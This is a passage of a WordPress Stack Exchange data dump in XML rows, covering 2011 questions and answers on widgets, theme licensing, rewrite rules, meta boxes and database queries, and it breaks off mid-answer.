  <row Id="9931" PostTypeId="1" CreationDate="2011-02-21T06:47:18.583" Score="0" ViewCount="68" Body="&lt;p&gt;I guess this is actually a two part question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been experimenting with widgets and the widget API. I looked at a number of tutorials but none explicitly mentioned what happens to the control options when saved via the update method. Most tutorials only use standard input fields for control options, but this tutorial by Justin Tadlock contains code for a checkbox and a select box -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://justintadlock.com/archives/2009/05/26/the-complete-guide-to-creating-widgets-in-wordpress-28&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2009/05/26/the-complete-guide-to-creating-widgets-in-wordpress-28&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to find some more information about which input elements are permitted by the widget API, particularly whether it is possible to add upload fields, but I couldn't find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'd be grateful for any bit of information about which fields are ok - alternatively, if file uploads aren't permitted at that point, I would be grateful for some hints about how to call the WP media upload form and use it to help users pick IDs to be inserted in the widget's control options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3349" LastEditorUserId="3349" LastEditorDisplayName="" LastEditDate="2011-02-21T07:05:29.777" LastActivityDate="2011-05-26T20:42:57.580" Title="Which form elements are admissible in a widget control form? (two part question)" Tags="&lt;widgets&gt;&lt;uploads&gt;&lt;api&gt;&lt;form&gt;&lt;input&gt;" AnswerCount="0" CommentCount="3" />
  <row Id="9932" PostTypeId="2" ParentId="9929" CreationDate="2011-02-21T07:56:34.813" Score="0" ViewCount="" Body="&lt;p&gt;It would seem that the thumbnail blip creates for each video isn't like youtube, where you can use the videoid to figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two of your videos/thumbs from blip:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blip.tv/file/4778330&quot; rel=&quot;nofollow&quot;&gt;http://blip.tv/file/4778330&lt;/a&gt;&#xA;http://a.images.blip.tv/Thebaytheseries-WEBISODE14TheBayChapter4Part2721-711.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blip.tv/file/4690791&quot; rel=&quot;nofollow&quot;&gt;http://blip.tv/file/4690791&lt;/a&gt;&#xA;http://a.images.blip.tv/Thebaytheseries-THEBAYTheSeriesSOMETHINGSADMusicVideoByTedKorsmo777-169.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it doesn't look possible.&lt;/p&gt;&#xA;" OwnerUserId="759" LastActivityDate="2011-02-21T07:56:34.813" CommentCount="1" />
  <row Id="9933" PostTypeId="2" ParentId="9911" CreationDate="2011-02-21T08:26:13.133" Score="0" ViewCount="" Body="&lt;p&gt;It's not actually included with WordPress, you'll need to download it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin can be found here.&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wpcat2tag-importer/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wpcat2tag-importer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once that's activated you'll be able to reach the importer at.&lt;br&gt;&#xA;&lt;strong&gt;yoursite.com/wp-admin/import.php?import=wpcat2tag&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-21T08:26:13.133" CommentCount="2" />
  <row Id="9934" PostTypeId="2" ParentId="9929" CreationDate="2011-02-21T08:31:02.303" Score="3" ViewCount="" Body="&lt;p&gt;You can use the Blip TV API:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blip.tv/index.php/Blip.tv_API&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blip.tv/index.php/Blip.tv_API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for &quot;How do I find the thumbnail for an item?&quot;&#xA;Examples of the API can be found in the wiki e.g. the PHP Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include_once(&quot;blipPHP.php&quot;);&#xA;$blipPHP = new blipPHP(&quot;username&quot;, &quot;password&quot;);&#xA;$respond = $blipPHP-&amp;gt;info(4794325);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns a LONG array. Inside this you find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[3] =&amp;gt; SimpleXMLElement Object&#xA;                                    (&#xA;                                        [@attributes] =&amp;gt; Array&#xA;                                            (&#xA;                                                [rel] =&amp;gt; alternate&#xA;                                                [type] =&amp;gt; application/rss+xml&#xA;                                                [href] =&amp;gt; http://blip.tv/rss/4812438&#xA;                                            )&#xA;&#xA;                                    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now make a call to get &lt;a href=&quot;http://blip.tv/rss/4812438&quot; rel=&quot;nofollow&quot;&gt;http://blip.tv/rss/4812438&lt;/a&gt; (you can check this one in your browser)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you can parse the returned content for the thumnail as in the xpath expression given as you find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;media:thumbnail url=&quot;http://a.images.blip.tv/Oldjewstellingjokes-AdrianeBergPastorFuzz165.jpg&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now... maybe you have some questions:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1 how do i program something to get a url (URI) in a string?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;WordPress provides a default method for that: wp_remote_get : READ: &lt;a href=&quot;http://codex.wordpress.org/HTTP_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/HTTP_API&lt;/a&gt; (see also &lt;a href=&quot;http://core.trac.wordpress.org/ticket/4779&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/4779&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2 Ok... now I have some website in a string what do i do with it?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Whatever you can think of, if it is stuff that is not &quot;XML&quot; related you will probably use smart regex to parse the content out of the string. (see php regex)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But.... to make stuff more readable for yourself, read the string in a DOM and then use XPath to quickly scan for the content. (see google:xpath or php.net: xpath)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dom = new DOMDocument();&#xA;libxml_use_internal_errors(true);&#xA;$dom-&amp;gt;strictErrorChecking = false;&#xA;if (!$dom-&amp;gt;loadHTML($data)) &#xA;{&#xA;   foreach (libxml_get_errors() as $error) &#xA;   {&#xA;     //     handle errors here&#xA;    }&#xA;    libxml_clear_errors();      &#xA;} &#xA;else&#xA;{&#xA;   $xpath = new DOMXPath($dom);&#xA;   $elements = $xpath-&amp;gt;query('/rss/channel/item/media:thumbnail/@url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;TADA!&#xA;the thumbnail we found:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://a.images.blip.tv/Oldjewstellingjokes-AdrianeBergPastorFuzz165.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-02-22T17:06:36.617" LastActivityDate="2011-02-22T17:06:36.617" CommentCount="6" />
  <row Id="9935" PostTypeId="1" CreationDate="2011-02-21T08:38:03.623" Score="1" ViewCount="264" Body="&lt;p&gt;Can I sell a theme I developed using TwentyTen&lt;/p&gt;&#xA;" OwnerUserId="3350" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-25T22:44:02.053" LastActivityDate="2011-03-26T02:28:31.867" Title="Can I sell a theme based off of TwentyTen" Tags="&lt;theme-twenty-ten&gt;&lt;licensing&gt;" AnswerCount="3" />
  <row Id="9936" PostTypeId="2" ParentId="9935" CreationDate="2011-02-21T08:45:20.783" Score="1" ViewCount="" Body="&lt;p&gt;Yes, while you are in line with Twenty Ten license (GPL).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-21T08:45:20.783" />
  <row Id="9937" PostTypeId="2" ParentId="9919" CreationDate="2011-02-21T08:49:01.657" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;wp_set_password( $password, $user_id );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not documented so see &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/pluggable.php#L1564&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; for details.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-21T08:49:01.657" />
  <row Id="9938" PostTypeId="1" CreationDate="2011-02-21T09:00:30.873" Score="0" ViewCount="75" Body="&lt;p&gt;I know I'm asking a million questions here and I'm sorry for that. =/ I have a meta box added for one of my post types called Links and I want to be able to enter urls in that box that will automatically turn into live links. This is what my code looks like right now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;admin_init&quot;, &quot;add_fields&quot;);&#xA;&#xA;function add_friends_fields(){&#xA;    add_meta_box(&quot;my_links&quot;, &quot;Links&quot;, &quot;my_links&quot;, &quot;friends&quot;, &quot;normal&quot;, &quot;low&quot;);&#xA;}&#xA;&#xA;function my_links(){&#xA;    global $post;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;    $my_links = $custom[&quot;my_links&quot;][0];&#xA;    ?&amp;gt;&#xA;    &amp;lt;label&amp;gt;Links:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input size=&quot;50&quot; name=&quot;my_links&quot; value=&quot;&amp;lt;?php echo $my_links; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As of the moment, if I enter something like &lt;code&gt;disney.com&lt;/code&gt; into the input box, it doesn't automatically turn into a link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched for ways to do this (sample below) but I'm just not sure how to integrate it into my existing code. If anyone can help, I'd be really grateful.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function makeClickable($url){&#xA;    $string = ereg_replace(&quot;[[:alpha:]]+://[^&amp;lt;&amp;gt;[:space:]]+[[:alnum:]/]&quot;,&quot;&amp;lt;a href=\&quot;\\0\&quot; target=\&quot;_blank\&quot;&amp;gt;\\0&amp;lt;/a&amp;gt;&quot;, $url); &#xA;    return $string;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3239" LastActivityDate="2011-02-21T09:00:30.873" Title="Turning static urls into live links" Tags="&lt;custom-post-types&gt;" CommentCount="2" />
  <row Id="9940" PostTypeId="1" AcceptedAnswerId="9945" CreationDate="2011-02-21T09:43:57.137" Score="1" ViewCount="101" Body="&lt;p&gt;Is there a function to replace the active theme's stylesheet with a different one (not just adding a new one, but actually replacing the current one)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm developing a plugin, and using shortcodes (eg: [design style=&quot;dark&quot;]) and I want this shortcode to remove the current stylesheet and apply a new one, along with new HTML for the page as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In fact,&lt;/strong&gt; I want this shortcode to completely replace &lt;em&gt;all of the source code&lt;/em&gt; for that specific post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody point me in the right direction? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-02-21T10:25:22.593" Title="Using a Shortcode to Replace Themes Stylesheet?" Tags="&lt;plugin-development&gt;&lt;shortcode&gt;" AnswerCount="3" />
  <row Id="9941" PostTypeId="1" AcceptedAnswerId="9949" CreationDate="2011-02-21T09:59:07.287" Score="0" ViewCount="128" Body="&lt;p&gt;How would one go about allowing reader-submitted reviews of different custom-post-types?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I had a site with a custom-post-type Restaurant and custom-post-type Accommodation. The review structure for each would basically be the same (name, email, comment and rating), and just the star-rating would be styled differently (cutlery vs beds instead of stars). When you view each restaurant, you'd see the reviews for that restaurant, and when you view the restaurant archive, you'd see all the restaurant reviews but not the accommodation reviews, and vice versa for accommodation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would customising the comments ability in WP be sufficient for something like this?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-02-21T15:31:39.650" Title="User-submitted reviews of different custom post types" Tags="&lt;custom-post-types&gt;&lt;comments&gt;" AnswerCount="2" />
  <row Id="9942" PostTypeId="2" ParentId="9940" CreationDate="2011-02-21T10:05:27.953" Score="0" ViewCount="" Body="&lt;p&gt;AFAIK there is no such function what you're asking for.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-21T10:05:27.953" />
  <row Id="9943" PostTypeId="2" ParentId="9935" CreationDate="2011-02-21T10:12:04.907" Score="5" ViewCount="" Body="&lt;p&gt;Short answer: Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Longer answer: Just because something is released as open-source/under the GPL doesn't mean you can't put it behind a paywall. All WP themes have to be licensed GPL if you distribute them, because they are derived from the WordPress code, which is itself GPL, but you can still charge for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your css and images, however, do not have to be released under the GPL - you could do a split license. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this excellent article by Mark Jaquith: &lt;a href=&quot;http://markjaquith.wordpress.com/2010/07/17/why-wordpress-themes-are-derivative-of-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://markjaquith.wordpress.com/2010/07/17/why-wordpress-themes-are-derivative-of-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-02-21T10:12:04.907" CommentCount="3" />
  <row Id="9944" PostTypeId="2" ParentId="9940" CreationDate="2011-02-21T10:17:19.803" Score="0" ViewCount="" Body="&lt;p&gt;You might want to look at the &lt;a href=&quot;http://wordpress.org/extend/plugins/nkthemeswitch/&quot; rel=&quot;nofollow&quot;&gt;Theme Switch and Preview&lt;/a&gt; plugin, uses shortcodes ([nkthemeswitch]). &lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-02-21T10:17:19.803" />
  <row Id="9945" PostTypeId="2" ParentId="9940" CreationDate="2011-02-21T10:25:22.593" Score="2" ViewCount="" Body="&lt;p&gt;Main stylesheet of theme is surprisingly rigid concept. It is usually semi-hardcoded in &lt;code&gt;header.php&lt;/code&gt; before any meaningful hooks and is very hard to change by code and reliably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since your context is actually wider and includes markup as well, you are better of hijacking template entirely, see &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference#Template_Actions&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;template_redirect&lt;/code&gt;&lt;/a&gt; action for starters.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-21T10:25:22.593" CommentCount="1" />
  <row Id="9946" PostTypeId="2" ParentId="9935" CreationDate="2011-02-21T10:28:05.093" Score="1" ViewCount="" Body="&lt;p&gt;You can even sell wordpress and twenty ten unchanged while you got it for free. There is no need for you to create a theme on your own to sell it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But bottom line is: It depends on many things, so no clear answer can be given to your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as you are concerned about a legal hint on this, you should ask that question your lawyer with your concrete theme at hand and a concept how you plan to sell and distribute your theme. Next to that you should carry a copy of wordpress and it's license term(s) with you so that it can be checked against. Normally your lawyer can aquire this from the internet directly, but in case not, just take it with you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, the GPL (that's the license WordPress and it's derivates like add-ons often called themes or plugins are distributed under) allows commercial distribution and modification but there are also some terms you need to take care of in respect to the original authors. That's to protect the freedom of the software. It's not only you who is free to sell worpdress, it's everybody and the license has been written to protect this freedom ongoing. That means for the users you distribute under the GPL to, as well.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-21T10:37:33.507" LastActivityDate="2011-02-21T10:37:33.507" />
  <row Id="9947" PostTypeId="1" AcceptedAnswerId="9952" CreationDate="2011-02-21T10:36:26.177" Score="0" ViewCount="61" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderators Note:&lt;/strong&gt; Original title was &quot;custom template / wordpress functions?&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to use a modified WordPress theme template and was wondering where I can find a reference for the .PHP functions that can be used within theme templates?&lt;/p&gt;&#xA;" OwnerUserId="3030" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-21T18:24:48.290" LastActivityDate="2011-02-21T18:24:48.290" Title="Function Reference Documenting Template Tags for use in Custom Theme Templates?" Tags="&lt;php&gt;&lt;functions&gt;&lt;template&gt;&lt;customization&gt;" AnswerCount="2" />
  <row Id="9948" PostTypeId="2" ParentId="9859" CreationDate="2011-02-21T10:38:28.233" Score="1" ViewCount="" Body="&lt;p&gt;Figured it out myself. Apparently, the pagination break because both my 'products' and my 'types' (those are not the terms I have, just for demonstration purposes) are having the same slug. Products has a slug of 'products' and types has a slug of 'products/%typename%'. Due to this I can make my permalinks hierarchical: products/dvd or products/cd. It worked, although, it broke both my pagination on taxonomy archive-pages as it broke my permalinks to individual post-types. What I did was the following to fix it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_rewrite_rules($rules) {&#xA;    $newrules['([^/]+)/([^\.]+).html$'] = 'index.php?$matches[1]=$matches[2]';&#xA;    $newrules['([^/]+)/([^/]+)/page/?([0-9]{1,})/?$'] = 'index.php?post_type=$matches[1]&amp;amp;locations=$matches[2]&amp;amp;paged=$matches[3]';&#xA;&#xA;    $rules = $newrules + $rules;&#xA;    return $rules;&#xA;}&#xA;&#xA;add_filter('rewrite_rules_array', 'add_rewrite_rules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added some mod-rewrite rules so apache will find the paginated taxonomy archive and the individual archive-post.&lt;/p&gt;&#xA;" OwnerUserId="3323" LastActivityDate="2011-02-21T10:38:28.233" />
  <row Id="9949" PostTypeId="2" ParentId="9941" CreationDate="2011-02-21T10:38:40.793" Score="2" ViewCount="" Body="&lt;p&gt;Yup, customizing comments should do the trick for you. No need to reinvent the wheel and you can take advantage of many plugins that take the comments functionality a few steps further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use some plugin to add the rating functionality (&lt;a href=&quot;http://wordpress.org/extend/plugins/gd-star-rating/&quot; rel=&quot;nofollow&quot;&gt;GD star rating&lt;/a&gt; seems to be the most used one) or &lt;a href=&quot;http://wordpress.org/support/topic/custom-fields-in-comment-form&quot; rel=&quot;nofollow&quot;&gt;use comments meta fields to write your own&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to styling be sure to check the output of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;body_class()&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/post_class&quot; rel=&quot;nofollow&quot;&gt;post_class()&lt;/a&gt; functions - you should find a class referencing your post type there.&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-02-21T10:38:40.793" />
  <row Id="9950" PostTypeId="2" ParentId="9947" CreationDate="2011-02-21T10:49:51.557" Score="1" ViewCount="" Body="&lt;p&gt;See the &lt;a href=&quot;http://codex.wordpress.org/&quot; rel=&quot;nofollow&quot; title=&quot;Codex&quot;&gt;Codex&lt;/a&gt; for a reference of all the WP related functions, and the &lt;a href=&quot;http://codex.wordpress.org/Developer_Documentation&quot; rel=&quot;nofollow&quot; title=&quot;Developer&quot;&gt;developer section&lt;/a&gt; for info about the function that you can use in your template!&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-21T10:49:51.557" />
  <row Id="9951" PostTypeId="2" ParentId="9719" CreationDate="2011-02-21T10:58:23.277" Score="1" ViewCount="" Body="&lt;p&gt;Wordpress writes url rewriting rules to the .htaccess file, but apache will only use the .htaccess file if AllowOverrides is allowed for the directory where the .htaccess is located. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I enabled it by setting &lt;code&gt;AllowOverride All&lt;/code&gt; in the virtualhost configuration, and my permalinks are now working again.&lt;/p&gt;&#xA;" OwnerUserId="3281" LastActivityDate="2011-02-21T10:58:23.277" />
  <row Id="9952" PostTypeId="2" ParentId="9947" CreationDate="2011-02-21T11:53:42.893" Score="1" ViewCount="" Body="&lt;p&gt;You can find an extensive function reference on the codex here.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there's also the WordPress PHP Doc which can be found here.&lt;br&gt;&#xA;&lt;a href=&quot;http://phpdoc.wordpress.org&quot; rel=&quot;nofollow&quot;&gt;http://phpdoc.wordpress.org&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything in particular you were looking for?&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-21T11:53:42.893" />
  <row Id="9954" PostTypeId="2" ParentId="9903" CreationDate="2011-02-21T12:13:17.520" Score="0" ViewCount="" Body="&lt;p&gt;See my comment above...you're using &lt;code&gt;get_field_id()&lt;/code&gt; on the name-attribute, where it should be &lt;code&gt;get_field_name()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_field_id()&lt;/code&gt; returns &lt;code&gt;'widget-'.$this-&amp;gt;id_base.'-'.$this-&amp;gt;number.'-'.$field_name&lt;/code&gt;,&lt;br&gt;&#xA;whereas&lt;br&gt;&#xA;&lt;code&gt;get_field_name()&lt;/code&gt; returns &lt;code&gt;'widget-'.$this-&amp;gt;id_base.'[' . $this-&amp;gt;number . '][' . $field_name.']'&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-21T12:13:17.520" CommentCount="2" />
  <row Id="9956" PostTypeId="2" ParentId="9914" CreationDate="2011-02-21T13:21:37.220" Score="1" ViewCount="" Body="&lt;p&gt;You could run a custom query to count the amount of posts with a given key using &lt;code&gt;$wpdb&lt;/code&gt; or more specifically using &lt;code&gt;get_var()&lt;/code&gt;. If i assume you want to count published posts with a given key, then something like the folowing should do it..(though this is just an example).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_meta_count( $key = '', $type = 'post', $status = 'publish' ) {&#xA;    global $wpdb;&#xA;    // Example code only&#xA;    // Good idea to add your own arg checking here&#xA;    if( empty( $key ) )&#xA;        return;&#xA;    $r = $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare( &quot;&#xA;        SELECT COUNT(*) as count FROM {$wpdb-&amp;gt;postmeta} pm&#xA;        LEFT JOIN {$wpdb-&amp;gt;posts} p ON p.ID = pm.post_id &#xA;        WHERE pm.meta_key = '%s' &#xA;        AND p.post_status = '%s' &#xA;        AND p.post_type = '%s'&#xA;    &quot;, $key, $status, $type ) );&#xA;    return $r;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Echo or store the value returned as needed. If you're intending on passing in any data that's been requested or sent by a user, then you'll need to add some further data checking inside the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; If you're doing this counting on an admin page, then there may be an internal function you can use instead(i can't remember specifically which right now, but i'll look it up if you need something admin side).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps in any case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Addition:&lt;/strong&gt;&#xA;I was curious after Viper posted to see how much difference there would be between the two queries, so i did each call 5 times, and recorded the time..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wdbb-&amp;gt;get_var &#xA;&#xA;Script Execution Time: 0.004 seconds&#xA;Script Execution Time: 0.004 seconds&#xA;Script Execution Time: 0.004 seconds&#xA;Script Execution Time: 0.004 seconds&#xA;Script Execution Time: 0.004 seconds&#xA;&#xA;// Yes i realise the results are all the same above, that's how they came out&#xA;&#xA;get_posts() &#xA;&#xA;Script Execution Time: 0.035 seconds &#xA;Script Execution Time: 0.04 seconds &#xA;Script Execution Time: 0.03 seconds&#xA;Script Execution Time: 0.027 seconds&#xA;Script Execution Time: 0.04 seconds &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would note, when &lt;code&gt;get_posts&lt;/code&gt; was given a meta_key it couldn't find, then it gave results back much closer to the &lt;code&gt;$wpdb&lt;/code&gt; speed, but still fell short, leaving the &lt;code&gt;$wpdb&lt;/code&gt; method at least 2 times faster each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think my results are flawed? Please do perform your own tests, and should you want a copy of the code i used, you can find it in barebones form &lt;a href=&quot;http://wpse.pastebin.com/ceh8EzVJ&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viper does have a valid point(future proofing is always a good thing), i just wanted to show there are some measurable differences between the two methods(and if anyone sees a problem with my approach, please feel free to let me know).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-22T00:11:18.593" LastActivityDate="2011-02-22T00:11:18.593" CommentCount="2" />
  <row Id="9957" PostTypeId="2" ParentId="9915" CreationDate="2011-02-21T13:37:20.210" Score="1" ViewCount="" Body="&lt;p&gt;It would take some custom coding, but there is a way to keep both custom post types and link the artist and video post types together.  It involves using the post_parent property of a post to make them hierarchical without combining the two.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using the following code to attach one post type to another:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function parent_select ($parent_type) {&#xA;    global $post;&#xA;    global $wpdb;&#xA;    $query = &quot;SELECT ID, post_title FROM $wpdb-&amp;gt;posts WHERE post_type = '{$parent_type}' AND post_status = 'publish' ORDER BY post_title&quot;;&#xA;    $results = $wpdb-&amp;gt;get_results($query, OBJECT);&#xA;    echo '&amp;lt;select name=&quot;parent_id&quot; id=&quot;parent_id&quot;&amp;gt;';&#xA;    echo '&amp;lt;option value = &quot;&quot;&amp;gt;None&amp;lt;/option&amp;gt;';&#xA;    foreach ($results as $r) {&#xA;        echo '&amp;lt;option value=&quot;', $r-&amp;gt;ID, '&quot;', $r-&amp;gt;ID == $post-&amp;gt;post_parent ? ' selected=&quot;selected&quot;' : '', '&amp;gt;', $r-&amp;gt;post_title, '&amp;lt;/option&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;/select&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add this to a metabox on your video edit pages, passing your artist type  as the parent type.  It'll create a dropdown box that will list all the artists you have.  Just select one and update and that video now sees the artist you selected as a parent.  After that, you can create a custom template to pull all the videos for any particular artist.&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-02-21T13:37:20.210" />
  <row Id="9958" PostTypeId="1" CreationDate="2011-02-21T13:41:26.863" Score="0" ViewCount="218" Body="&lt;p&gt;Is there any plugin available which I can use to post custom content on My front page?? I am using front page which has link to other blog pages. I want to put custom content on this front page but i am unable to find any plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;whatever plugins which i searched gives this facility for sidebar in a widget format there were no option for manually putting content in my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is it possible to put latest post by a particular author on this page??&lt;/p&gt;&#xA;" OwnerUserId="3356" LastActivityDate="2011-02-21T16:56:28.137" Title="Custom content plugin for front page in wordpress" Tags="&lt;plugins&gt;&lt;3.0&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="9959" PostTypeId="2" ParentId="9870" CreationDate="2011-02-21T13:57:32.897" Score="8" ViewCount="" Body="&lt;p&gt;There are two types of rewrite rules in WordPress: internal rules (stored in the database and parsed by &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/classes.php#L121&quot; rel=&quot;nofollow&quot;&gt;WP::parse_request()&lt;/a&gt;), and external rules (stored in &lt;code&gt;.htaccess&lt;/code&gt; and parsed by Apache). You can choose either way, depending on how much of WordPress you need in your called file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The external rule is the easiest to set up and to follow. It will execute &lt;code&gt;my-api.php&lt;/code&gt; in your plugin directory, without loading anything from WordPress.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse9870_init_external' );&#xA;function wpse9870_init_external()&#xA;{&#xA;    global $wp_rewrite;&#xA;    $plugin_url = plugins_url( 'my-api.php', __FILE__ );&#xA;    $plugin_url = substr( $plugin_url, strlen( home_url() ) + 1 );&#xA;    // The pattern is prefixed with '^'&#xA;    // The substitution is 